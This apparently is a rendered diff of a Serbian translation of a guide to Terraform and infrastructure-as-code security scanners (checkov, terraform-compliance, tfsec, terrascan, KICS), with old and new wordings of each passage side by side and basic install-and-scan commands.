Izvodi [Software Composition Analysis (SCA) skeniranje](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) koje je skeniranje paketa otvorenog koda i slika za zajedničke ranjivosti i izloženosti (CVE).
|
||||
Izvodi [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), što je skeniranje open source paketa i image-ova radi pronalaženja Common Vulnerabilities and Exposures (CVEs).
|
||||
```bash
|
||||
pip install checkov
|
||||
checkov -d /path/to/folder
|
||||
```
|
||||
### [terraform-compliance](https://github.com/terraform-compliance/cli)
|
||||
|
||||
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` je lagan, bezbednosno i usklađenosti fokusiran test okvir protiv terraform-a koji omogućava negativno testiranje za vašu infrastrukturu kao kod.
|
||||
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` je lagan, na sigurnost i usklađenost fokusiran test okvir za terraform koji omogućava negativno testiranje vaše infrastrukture kao koda.
|
||||
|
||||
- **usaglašenost:** Osigurajte da implementirani kod prati bezbednosne standarde, vaše sopstvene prilagođene standarde
|
||||
- **razvoj vođen ponašanjem:** Imamo BDD za gotovo sve, zašto ne i za IaC?
|
||||
- **prenosiv:** samo ga instalirajte putem `pip` ili ga pokrenite putem `docker`. Pogledajte [Instalacija](https://terraform-compliance.com/pages/installation/)
|
||||
- **pre-deploy:** validira vaš kod pre nego što bude implementiran
|
||||
- **lako za integraciju:** može se pokrenuti u vašem pipeline-u (ili u git hooks) kako bi se osiguralo da su sve implementacije validirane.
|
||||
- **razdvajanje dužnosti:** možete čuvati svoje testove u drugom repozitorijumu gde je odgovorna posebna ekipa.
|
||||
- **usklađenost:** Osigurava da implementirani kod prati sigurnosne standarde i vaše sopstvene prilagođene standarde
|
||||
- **razvoj vođen ponašanjem (BDD):** Imamo BDD za skoro sve, zašto ne i za IaC?
|
||||
- **prenosiv:** jednostavno instalirajte iz `pip` ili ga pokrenite preko `docker`. Pogledajte [Installation](https://terraform-compliance.com/pages/installation/)
|
||||
- **pre-deploy:** validira vaš kod pre nego što se rasporedi
|
||||
- **lako za integraciju:** može se pokrenuti u vašem pipeline-u (ili u git hook-ovima) kako bi se osiguralo da su sve implementacije validirane.
|
||||
- **razdvajanje dužnosti:** možete čuvati testove u drugom repozitorijumu gde je odgovoran poseban tim.
|
||||
|
||||
> [!NOTE]
|
||||
> Nažalost, ako kod koristi neke provajdere kojima nemate pristup, nećete moći da izvršite `terraform plan` i pokrenete ovaj alat.
|
||||
> Nažalost, ako kod koristi neke providere kojima nemate pristup, nećete moći da izvršite `terraform plan` i pokrenete ovaj alat.
|
||||
```bash
|
||||
pip install terraform-compliance
|
||||
terraform plan -out=plan.out
|
||||
@@ -322,40 +347,53 @@ terraform-compliance -f /path/to/folder
|
||||
```
|
||||
### [tfsec](https://github.com/aquasecurity/tfsec)
|
||||
|
||||
Iz [**dokumentacije**](https://github.com/aquasecurity/tfsec): tfsec koristi statičku analizu vašeg terraform koda da bi uočio potencijalne pogrešne konfiguracije.
|
||||
Prema [**docs**](https://github.com/aquasecurity/tfsec): tfsec koristi statičku analizu vašeg terraform koda da otkrije potencijalne greške u konfiguraciji.
|
||||
|
||||
- ☁️ Proverava pogrešne konfiguracije kod svih glavnih (i nekih manjih) provajdera u oblaku
|
||||
- ☁️ Proverava greške u konfiguraciji kod svih glavnih (i nekih manjih) cloud provajdera
|
||||
- ⛔ Stotine ugrađenih pravila
|
||||
- 🪆 Skenira module (lokalne i udaljene)
|
||||
- ➕ Evaluira HCL izraze kao i literalne vrednosti
|
||||
- ↪️ Evaluira Terraform funkcije npr. `concat()`
|
||||
- 🔗 Evaluira odnose između Terraform resursa
|
||||
- ➕ Analizira HCL izraze i literalne vrednosti
|
||||
- ↪️ Analizira Terraform funkcije npr. `concat()`
|
||||
- 🔗 Analizira odnose između Terraform resursa
|
||||
- 🧰 Kompatibilan sa Terraform CDK
|
||||
- 🙅 Primena (i obogaćivanje) korisnički definisanih Rego politika
|
||||
- 📃 Podržava više formata izlaza: lepi (podrazumevani), JSON, SARIF, CSV, CheckStyle, JUnit, tekst, Gif.
|
||||
- 🛠️ Konfigurisanje (putem CLI zastavica i/ili konfiguracione datoteke)
|
||||
- ⚡ Veoma brzo, sposobno da brzo skenira ogromne repozitorijume
|
||||
- 🙅 Primenjuje (i obogaćuje) korisnički definisane Rego politike
|
||||
- 📃 Podržava više izlaznih formata: lovely (podrazumevano), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
|
||||
- 🛠️ Konfigurisano (putem CLI flagova i/ili config fajla)
|
||||
- ⚡ Veoma brzo — sposoban da brzo skenira ogromne repozitorijume
|
||||
```bash
|
||||
brew install tfsec
|
||||
tfsec /path/to/folder
|
||||
```
|
||||
### [terrascan](https://github.com/tenable/terrascan)
|
||||
|
||||
Terrascan je statički analizator koda za Infrastructure as Code. Terrascan vam omogućava da:
|
||||
|
||||
- Besprekorno skenirate Infrastructure as Code radi pogrešnih konfiguracija.
|
||||
- Nadzirete postavljenu cloud infrastrukturu zbog promena u konfiguraciji koje uvode posture drift i omogućavate vraćanje na bezbedno stanje.
|
||||
- Otkrivate sigurnosne ranjivosti i kršenja usklađenosti.
|
||||
- Ublažavate rizike pre postavljanja cloud native infrastrukture.
|
||||
- Nudi fleksibilnost da ga pokrenete lokalno ili integrišete sa vašim CI\CD.
|
||||
```bash
|
||||
brew install terrascan
|
||||
terrascan scan -d /path/to/folder
|
||||
```
|
||||
### [KICKS](https://github.com/Checkmarx/kics)
|
||||
|
||||
Pronađite bezbednosne ranjivosti, probleme sa usklađenošću i pogrešne konfiguracije infrastrukture rano u razvoju vaše infrastrukture kao koda uz **KICS** od Checkmarx.
|
||||
Pronađite sigurnosne ranjivosti, probleme sa usklađenošću i pogrešne konfiguracije infrastrukture rano u razvojnom ciklusu vaše infrastrukture kao koda koristeći **KICS** kompanije Checkmarx.
|
||||
|
||||
**KICS** označava **K**eeping **I**nfrastructure as **C**ode **S**ecure, otvorenog je koda i neophodan je za svaki projekat u oblaku.
|
||||
**KICS** predstavlja skraćenicu od **K**eeping **I**nfrastructure as **C**ode **S**ecure, open source je i obavezna alatka za svaki cloud-native projekat.
|
||||
```bash
|
||||
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
|
||||
```
|
||||
### [Terrascan](https://github.com/tenable/terrascan)
|
||||
|
||||
Iz [**dokumentacije**](https://github.com/tenable/terrascan): Terrascan je statički analizator koda za Infrastructure as Code. Terrascan vam omogućava da:
|
||||
Prema [**docs**](https://github.com/tenable/terrascan): Terrascan je statički analizator koda za infrastrukturu kao kod. Terrascan vam omogućava:
|
||||
|
||||
- Besprekorno skenirate infrastrukturu kao kod za pogrešne konfiguracije.
|
||||
- Pratite obezbeđenu cloud infrastrukturu za promene konfiguracije koje uvode promene u posturi, i omogućava vraćanje na sigurnu posturu.
|
||||
- Otkrivate sigurnosne ranjivosti i kršenja usklađenosti.
|
||||
- Ublažavate rizike pre nego što obezbedite cloud native infrastrukturu.
|
||||
- Nudi fleksibilnost za lokalno pokretanje ili integraciju sa vašim CI\CD.
|
||||
- Besprekorno skeniranje infrastrukture kao koda radi pogrešnih konfiguracija.
|
||||
- Praćenje provisionirane cloud infrastrukture zbog promena konfiguracije koje uvode posture drift i omogućavanje vraćanja na bezbednu konfiguraciju.
|
||||
- Otkrivanje sigurnosnih ranjivosti i kršenja usklađenosti.
|
||||
- Ublažavanje rizika pre provisioniranja cloud-native infrastrukture.
|
||||
- Fleksibilnost za pokretanje lokalno ili integraciju sa vašim CI\CD.
|
||||
```bash
|
||||
brew install terrascan
|
||||
```
|
||||
|
||||
Reference in New Issue
Block a user